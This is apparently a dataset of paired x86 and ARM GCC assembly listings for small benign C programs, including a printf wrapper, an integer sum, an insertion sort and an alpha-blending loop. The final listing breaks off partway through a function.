x86
stringlengths 321
23.7M
| arm
stringlengths 335
24.4M
|
---|---|
.file "148932.c"
.intel_syntax noprefix
.text
.globl printff
.type printff, @function
printff:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 224
mov QWORD PTR -216[rbp], rdi
mov QWORD PTR -168[rbp], rsi
mov QWORD PTR -160[rbp], rdx
mov QWORD PTR -152[rbp], rcx
mov QWORD PTR -144[rbp], r8
mov QWORD PTR -136[rbp], r9
test al, al
je .L2
movaps XMMWORD PTR -128[rbp], xmm0
movaps XMMWORD PTR -112[rbp], xmm1
movaps XMMWORD PTR -96[rbp], xmm2
movaps XMMWORD PTR -80[rbp], xmm3
movaps XMMWORD PTR -64[rbp], xmm4
movaps XMMWORD PTR -48[rbp], xmm5
movaps XMMWORD PTR -32[rbp], xmm6
movaps XMMWORD PTR -16[rbp], xmm7
.L2:
mov rax, QWORD PTR fs:40
mov QWORD PTR -184[rbp], rax
xor eax, eax
mov DWORD PTR -208[rbp], 8
mov DWORD PTR -204[rbp], 48
lea rax, 16[rbp]
mov QWORD PTR -200[rbp], rax
lea rax, -176[rbp]
mov QWORD PTR -192[rbp], rax
lea rdx, -208[rbp]
mov rax, QWORD PTR -216[rbp]
mov rsi, rdx
mov rdi, rax
call vprintf@PLT
mov rax, QWORD PTR stdout[rip]
mov rdi, rax
call fflush@PLT
nop
mov rax, QWORD PTR -184[rbp]
sub rax, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size printff, .-printff
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "148932.c"
.text
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global printff
.syntax unified
.arm
.fpu softvfp
.type printff, %function
printff:
@ args = 4, pretend = 16, frame = 16
@ frame_needed = 1, uses_anonymous_args = 1
push {r0, r1, r2, r3}
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, [fp, #4]
str r3, [fp, #-16]
ldr r3, .L3
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
add r3, fp, #8
str r3, [fp, #-12]
ldr r1, [fp, #-12]
ldr r0, [fp, #-16]
bl vprintf
ldr r3, .L3+4
ldr r3, [r3]
mov r0, r3
bl fflush
nop
ldr r3, .L3
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L2
bl __stack_chk_fail
.L2:
sub sp, fp, #4
@ sp needed
pop {fp, lr}
add sp, sp, #16
bx lr
.L4:
.align 2
.L3:
.word .LC0
.word stdout
.size printff, .-printff
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "289411.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d %d"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdx, -12[rbp]
lea rax, -16[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -12[rbp]
mov eax, DWORD PTR -16[rbp]
mov esi, edx
mov edi, eax
call soma
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.LC1:
.string "soma de %d + %d = %d\n"
.text
.globl soma
.type soma, @function
soma:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
mov DWORD PTR -8[rbp], esi
mov edx, DWORD PTR -4[rbp]
mov eax, DWORD PTR -8[rbp]
lea ecx, [rdx+rax]
mov edx, DWORD PTR -8[rbp]
mov eax, DWORD PTR -4[rbp]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size soma, .-soma
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "289411.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d %d\000"
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r2, fp, #12
sub r3, fp, #16
mov r1, r3
ldr r0, .L4+4
bl __isoc99_scanf
ldr r3, [fp, #-16]
ldr r2, [fp, #-12]
mov r1, r2
mov r0, r3
bl soma
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC1
.word .LC0
.size main, .-main
.section .rodata
.align 2
.LC2:
.ascii "soma de %d + %d = %d\012\000"
.text
.align 2
.global soma
.syntax unified
.arm
.fpu softvfp
.type soma, %function
soma:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
str r1, [fp, #-12]
ldr r2, [fp, #-8]
ldr r3, [fp, #-12]
add r3, r2, r3
ldr r2, [fp, #-12]
ldr r1, [fp, #-8]
ldr r0, .L8
bl printf
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L9:
.align 2
.L8:
.word .LC2
.size soma, .-soma
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "224100.c"
.intel_syntax noprefix
.text
.globl i
.bss
.align 4
.type i, @object
.size i, 4
i:
.zero 4
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "224100.c"
.text
.comm i,4,4
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "886479.c"
.intel_syntax noprefix
.text
.globl a
.bss
.align 4
.type a, @object
.size a, 4
a:
.zero 4
.globl b
.align 4
.type b, @object
.size b, 4
b:
.zero 4
.text
.globl c
.type c, @function
c:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
nop
.L3:
mov eax, DWORD PTR a[rip]
test eax, eax
je .L2
mov eax, 0
call d@PLT
test eax, eax
jne .L3
.L2:
mov edx, DWORD PTR b[rip]
mov eax, DWORD PTR a[rip]
cmp edx, eax
jg .L4
mov eax, 0
call e@PLT
.L4:
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size c, .-c
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "886479.c"
.text
.comm a,4,4
.comm b,4,4
.align 2
.global c
.syntax unified
.arm
.fpu softvfp
.type c, %function
c:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
nop
.L3:
ldr r3, .L5
ldr r3, [r3]
cmp r3, #0
beq .L2
bl d
mov r3, r0
cmp r3, #0
bne .L3
.L2:
ldr r3, .L5+4
ldr r2, [r3]
ldr r3, .L5
ldr r3, [r3]
cmp r2, r3
bgt .L4
bl e
.L4:
nop
mov r0, r3
pop {fp, pc}
.L6:
.align 2
.L5:
.word a
.word b
.size c, .-c
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "214133.c"
.intel_syntax noprefix
.text
.globl insertion_sort
.type insertion_sort, @function
insertion_sort:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -12[rbp], 1
jmp .L2
.L6:
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -12[rbp]
sub eax, 1
mov DWORD PTR -8[rbp], eax
jmp .L3
.L5:
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov edx, DWORD PTR -8[rbp]
movsx rdx, edx
add rdx, 1
lea rcx, 0[0+rdx*4]
mov rdx, QWORD PTR -24[rbp]
add rdx, rcx
mov eax, DWORD PTR [rax]
mov DWORD PTR [rdx], eax
sub DWORD PTR -8[rbp], 1
.L3:
cmp DWORD PTR -8[rbp], 0
js .L4
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
cmp DWORD PTR -4[rbp], eax
jl .L5
.L4:
mov eax, DWORD PTR -8[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -24[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR [rdx], eax
add DWORD PTR -12[rbp], 1
.L2:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L6
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size insertion_sort, .-insertion_sort
.section .rodata
.LC0:
.string "%d "
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -32[rbp], 12
mov DWORD PTR -28[rbp], 11
mov DWORD PTR -24[rbp], 13
mov DWORD PTR -20[rbp], 5
mov DWORD PTR -16[rbp], 6
mov DWORD PTR -36[rbp], 5
mov edx, DWORD PTR -36[rbp]
lea rax, -32[rbp]
mov esi, edx
mov rdi, rax
call insertion_sort
mov DWORD PTR -40[rbp], 0
jmp .L8
.L9:
mov eax, DWORD PTR -40[rbp]
cdqe
mov eax, DWORD PTR -32[rbp+rax*4]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
add DWORD PTR -40[rbp], 1
.L8:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -36[rbp]
jl .L9
mov edi, 10
call putchar@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L11
call __stack_chk_fail@PLT
.L11:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "214133.c"
.text
.align 2
.global insertion_sort
.syntax unified
.arm
.fpu softvfp
.type insertion_sort, %function
insertion_sort:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-24]
str r1, [fp, #-28]
mov r3, #1
str r3, [fp, #-16]
b .L2
.L6:
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3]
str r3, [fp, #-8]
ldr r3, [fp, #-16]
sub r3, r3, #1
str r3, [fp, #-12]
b .L3
.L5:
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r2, r2, r3
ldr r3, [fp, #-12]
add r3, r3, #1
lsl r3, r3, #2
ldr r1, [fp, #-24]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-12]
sub r3, r3, #1
str r3, [fp, #-12]
.L3:
ldr r3, [fp, #-12]
cmp r3, #0
blt .L4
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3]
ldr r2, [fp, #-8]
cmp r2, r3
blt .L5
.L4:
ldr r3, [fp, #-12]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r2, [fp, #-8]
str r2, [r3]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L2:
ldr r2, [fp, #-16]
ldr r3, [fp, #-28]
cmp r2, r3
blt .L6
nop
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size insertion_sort, .-insertion_sort
.section .rodata
.align 2
.LC1:
.ascii "%d \000"
.align 2
.LC0:
.word 12
.word 11
.word 13
.word 5
.word 6
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
ldr r3, .L12
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L12+4
sub ip, fp, #28
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldr r3, [lr]
str r3, [ip]
mov r3, #5
str r3, [fp, #-32]
sub r3, fp, #28
ldr r1, [fp, #-32]
mov r0, r3
bl insertion_sort
mov r3, #0
str r3, [fp, #-36]
b .L8
.L9:
ldr r3, [fp, #-36]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-24]
mov r1, r3
ldr r0, .L12+8
bl printf
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L8:
ldr r2, [fp, #-36]
ldr r3, [fp, #-32]
cmp r2, r3
blt .L9
mov r0, #10
bl putchar
mov r3, #0
ldr r2, .L12
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L11
bl __stack_chk_fail
.L11:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L13:
.align 2
.L12:
.word .LC2
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "434283.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "434283.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "857284.c"
.intel_syntax noprefix
.text
.globl alphablending
.type alphablending, @function
alphablending:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -32[rbp], rsi
mov QWORD PTR -40[rbp], rdx
mov QWORD PTR -48[rbp], rcx
movss DWORD PTR -24[rbp], xmm0
mov DWORD PTR -4[rbp], 0
jmp .L2
.L3:
mov eax, DWORD PTR -4[rbp]
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movaps xmm1, xmm0
mulss xmm1, DWORD PTR -24[rbp]
movss xmm0, DWORD PTR .LC0[rip]
movaps xmm2, xmm0
subss xmm2, DWORD PTR -24[rbp]
mov eax, DWORD PTR -4[rbp]
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, xmm2
mov eax, DWORD PTR -4[rbp]
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
addss xmm0, xmm1
movss DWORD PTR [rax], xmm0
add DWORD PTR -4[rbp], 1
.L2:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -20[rbp]
jb .L3
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size alphablending, .-alphablending
.section .rodata
.LC2:
.string "%f"
.text
.globl beta
.type beta, @function
beta:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 120
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov DWORD PTR -116[rbp], edi
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
mov edx, DWORD PTR -116[rbp]
movsx rax, edx
sub rax, 1
mov QWORD PTR -96[rbp], rax
movsx rax, edx
mov QWORD PTR -144[rbp], rax
mov QWORD PTR -136[rbp], 0
movsx rax, edx
mov QWORD PTR -160[rbp], rax
mov QWORD PTR -152[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L5:
cmp rsp, rdx
je .L6
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L5
.L6:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L7
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L7:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -104[rbp], rax
mov eax, DWORD PTR -116[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -88[rbp], rdx
movsx rdx, eax
mov r14, rdx
mov r15d, 0
movsx rdx, eax
mov r12, rdx
mov r13d, 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L8:
cmp rsp, rdx
je .L9
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L8
.L9:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L10
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L10:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -80[rbp], rax
mov eax, DWORD PTR -116[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov r10, rdx
mov r11d, 0
movsx rdx, eax
mov r8, rdx
mov r9d, 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L11:
cmp rsp, rdx
je .L12
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L11
.L12:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L13
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L13:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -64[rbp], rax
mov eax, DWORD PTR -116[rbp]
mov rcx, QWORD PTR -64[rbp]
mov rdx, QWORD PTR -80[rbp]
mov rsi, QWORD PTR -104[rbp]
movss xmm0, DWORD PTR .LC1[rip]
mov edi, eax
call alphablending
mov DWORD PTR -108[rbp], 0
jmp .L14
.L15:
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -108[rbp]
movsx rdx, edx
movss xmm0, DWORD PTR [rax+rdx*4]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movq rax, xmm1
movq xmm0, rax
lea rdi, .LC2[rip]
mov eax, 1
call printf@PLT
add DWORD PTR -108[rbp], 1
.L14:
mov eax, DWORD PTR -108[rbp]
cmp eax, DWORD PTR -116[rbp]
jl .L15
mov rsp, rbx
nop
mov rax, QWORD PTR -56[rbp]
sub rax, QWORD PTR fs:40
je .L16
call __stack_chk_fail@PLT
.L16:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size beta, .-beta
.section .rodata
.align 4
.LC0:
.long 1065353216
.align 4
.LC1:
.long 1045220557
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "857284.c"
.text
.global __aeabi_fmul
.global __aeabi_fsub
.global __aeabi_fadd
.align 2
.global alphablending
.syntax unified
.arm
.fpu softvfp
.type alphablending, %function
alphablending:
@ args = 4, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #24
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-16]
b .L2
.L3:
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-28]
add r3, r2, r3
ldr r3, [r3] @ float
ldr r1, [fp, #4] @ float
mov r0, r3
bl __aeabi_fmul
mov r3, r0
mov r5, r3
ldr r1, [fp, #4] @ float
mov r0, #1065353216
bl __aeabi_fsub
mov r3, r0
mov r0, r3
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fmul
mov r3, r0
mov r1, r3
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-36]
add r4, r2, r3
mov r0, r5
bl __aeabi_fadd
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L2:
ldr r2, [fp, #-16]
ldr r3, [fp, #-24]
cmp r2, r3
bcc .L3
nop
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.size alphablending, .-alphablending
.global __aeabi_f2d
.section .rodata
.align 2
.LC0:
.ascii "%f\000"
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global beta
.syntax unified
.arm
.fpu softvfp
.type beta, %function
beta:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #52
str r0, [fp, #-48]
ldr r3, .L8
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr ip, [fp, #-48]
sub r3, ip, #1
str r3, [fp, #-40]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-44]
ldr ip, [fp, #-48]
sub r3, ip, #1
str r3, [fp, #-32]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-28]
ldr ip, [fp, #-48]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
add r3, sp, #8
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-20]
ldr r0, [fp, #-48]
ldr r3, .L8+4
str r3, [sp] @ float
ldr r3, [fp, #-20]
ldr r2, [fp, #-28]
ldr r1, [fp, #-44]
bl alphablending
mov r3, #0
str r3, [fp, #-36]
b .L5
.L6:
ldr r3, [fp, #-20]
ldr r2, [fp, #-36]
ldr r3, [r3, r2, lsl #2] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L8+8
bl printf
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L5:
ldr r2, [fp, #-36]
ldr r3, [fp, #-48]
cmp r2, r3
blt .L6
mov sp, r4
nop
